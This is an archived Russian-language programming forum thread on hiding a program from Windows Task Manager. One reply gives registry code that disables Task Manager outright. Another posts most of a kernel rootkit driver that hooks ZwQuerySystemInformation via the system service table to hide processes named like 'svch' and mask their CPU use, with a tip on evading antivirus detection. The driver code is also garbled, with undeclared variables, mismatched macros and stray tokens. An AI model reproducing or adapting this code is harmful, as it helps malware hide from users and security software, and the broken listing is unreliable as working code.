Просмотр полной версии : Как спрятать прогу в диспетчере задач?
Как спрятать прогу в диспетчере задач?
Есть вариант не прятать прогу от диспетчера задач, а просто его отключить :)
{
TRegistry *Registry = new TRegistry;
Registry->RootKey = HKEY_CURRENT_USER;
AnsiString Way="Software\\Microsoft\\Windows\\CurrentVersion\\Poli cies\\System";
Registry->OpenKey(Way, True);
Registry->WriteString("DisableTaskMgr", "1"); //блокирует
Registry->CloseKey();
delete Registry;
}
antuan1979
18.08.2007, 21:48
Подобная тема рассматривается в книге "Си++ глазами хакера"
Crosslive
21.08.2007, 09:14
Скачай RXLibrary, там при выборе формы просто поставишь нужные значки (закрыть, спрятать, развернуть) и установишь им свойства какие хочешь.
RaidenYN
24.09.2007, 19:13
Спрятать прогу от диспетчера не сложно, это можно настроить в свойствах формы. Гораздо сложнее спрятать процесс от всевидящего ока диспетчера задач.
В Windows 9x это довольно элементарно, и решается вызовом соответсвующих API функций. А вот в линейке NT/2000/XP/2003 сложнее. Один раз мне это удалось в делфи. Должно сработать и билдере. Точный код не найду, но идея была поставить глобальный системный хук на вызов диспетчера и поменять список файлов в окне на лету.
veloroom
09.01.2008, 05:27
Способо вообще один - реализаций много. Начиная от драйвера перехватывающего функцию NtQuerySystemInformation и заканчивая глобальным хуком. Смысл один: Диспетчер задач вызывает определенные функции API для получения списка процессов системы. Для сокрытия достаточно отловить этот вызов и фильтровать возвращаемые функциями API результаты, не передавая диспетчеру данные о тех процессах которые хочется скрыть.
Еще можно приложение реализовать в виде системного сервиса, Советую почитать "Системное программирование в Windows" Александра Побегайло.
Вот код драйвера для скрытия процесов, собирать в Win DDK , если будет ругаться антивирус, поменяй местами обьявления структур!!!
Каспер после таких махинаций с ядром в накуте.
#include "ntddk.h"
#pragma pack(1)
typedef struct ServiceDescriptorEntry {
unsigned int *ServiceTableBase;
unsigned int *ServiceCounterTableBase; //Used only in checked build ServiceDescriptorTableEntry_t, *
unsigned int NumberOfServices;
unsigned char *ParamTableBase;
}PServiceDescriptorTableEntry_t;
#pragma pack()
__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
#define SYS_SERVICE(_function) KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
#define SYSCALL_IND(_Function) *(PULONG)((PUCHAR)_Function+1)
#define HOOK (_Function, _Hook, _Orig ) \
_Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
#define UNHOOK (_Function, _Hook, _Orig ) \
InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
PMDL mdl;
PVOID *MappedSystemCallTable;
struct _SYSTEM_THREADS
{
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER CreateTime;
ULONG WaitTime;
PVOID StartAddress;
CLIENT_ID Clientls;
KPRIORITY Priority;
KPRIORITY BasePriority;
ULONG ContextSwitchCount;
ULONG ThreadState;
KWAIT_REASON WaitReason;
};
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG Processld;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; //только для Windows 2000
struct _SYSTEM_THREADS Threads[1];
};
struct _SYSTEM_PROCESSOR_TIMES
{
LARGE_INTEGER IdleTime;
LARGE_INTEGER KernelTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER DpcTime;
LARGE_INTEGER InterruptTime;
ULONG InterruptCount;
};
NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength);
typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(
ULONG SystemInformationCLass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
ZWQUERYSYSTEMINFORMATION Pred_func;
NTSTATUS MyZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
DbgPrint ("Visov funkcii lovushki");
s = ((ZWQUERYSYSTEMINFORMATION)(Pred_func))(
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( NT_SUCCESS(s))
{
if(SystemInformationClass == 5)
{
struct _SYSTEM_PROCESSES *curr=(struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
if ((curr->ProcessName.Buffer) != NULL)
{if(0 == memcmp(curr->ProcessName.Buffer, L"svch", 12)) // сдесь измени начальные буквы твоего процесcа
{UserTime.QuadPart += curr->UserTime.QuadPart;
KernelTime.QuadPart += curr->KernelTime.QuadPart;
if(prev)
{if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
else
prev->NextEntryDelta = 0;
}
else
{if (curr->NextEntryDelta)
(char *)SystemInformation += curr->NextEntryDelta;
else
SystemInformation = NULL;
}
}
}
else
{
curr->UserTime.QuadPart += UserTime.QuadPart;
curr->KernelTime.QuadPart += KernelTime.QuadPart;
UserTime .QuadPart = 0;
KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta)
((char *)curr += curr->NextEntryDelta);
else
curr = NULL;
}
}
else if (SystemInformationClass == 8)
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += UserTime.QuadPart + KernelTime.QuadPart;
}
}
DbgPrint ("lovushki vernula snachenia");
return status;
}
VOID MyUnload(IN PDRIVER_OBJECT DriverObject)
{
DbgPrint ("Driver unload");
UNHOOK( ZwQuerySystemInformation, MyZwQuerySystemInformation, Pred_func);STATUS_SUCCESS
return ;
}
NTSTATUS DriverEntry (IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING theRegistryPath)
{
DbgPrint ("Driver load");
DriverObject -> DriverUnload = MyUnload;
UserTime.QuadPart = KernelTime.QuadPart = 0;
Pred_func = (ZWQUERYSYSTEMINFORMATION)(SYS_SERVICE(ZwQuerySyst emInformation));
mdl = MmCreateMdl(NULL,KeServiceDescriptorTable.ServiceT ableBase,KeServiceDescriptorTable.NumberOfServices *4);
if(!mdl) return STATUS_UNSUCCESSFUL;
MmBuildMdlForNonPagedPool(mdl);
mdl->MdlFlags = mdl->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
MappedSystemCallTable = MmMapLockedPages(mdl,KernelMode);
HOOK (ZwQuerySystemInformation, MyZwQuerySystemInformation, Pred_func);
DbgPrint ("Lovushka ustanovlena");
return STATUS_SUCCESS;
}
Ivan_Nikit
10.02.2011, 18:33
Для того, чтобы спрятать из полосы задач Программу, необходимо в ОnCreate вставить
Form1->Visible = false //Предполагается, что у Вас 1 форма с именем Form1
Application->ShowMainForm = false;
После этого приложение будет видно только в процессах
vBulletin® v3.8.9, Copyright ©2000-2025, vBulletin Solutions, Inc.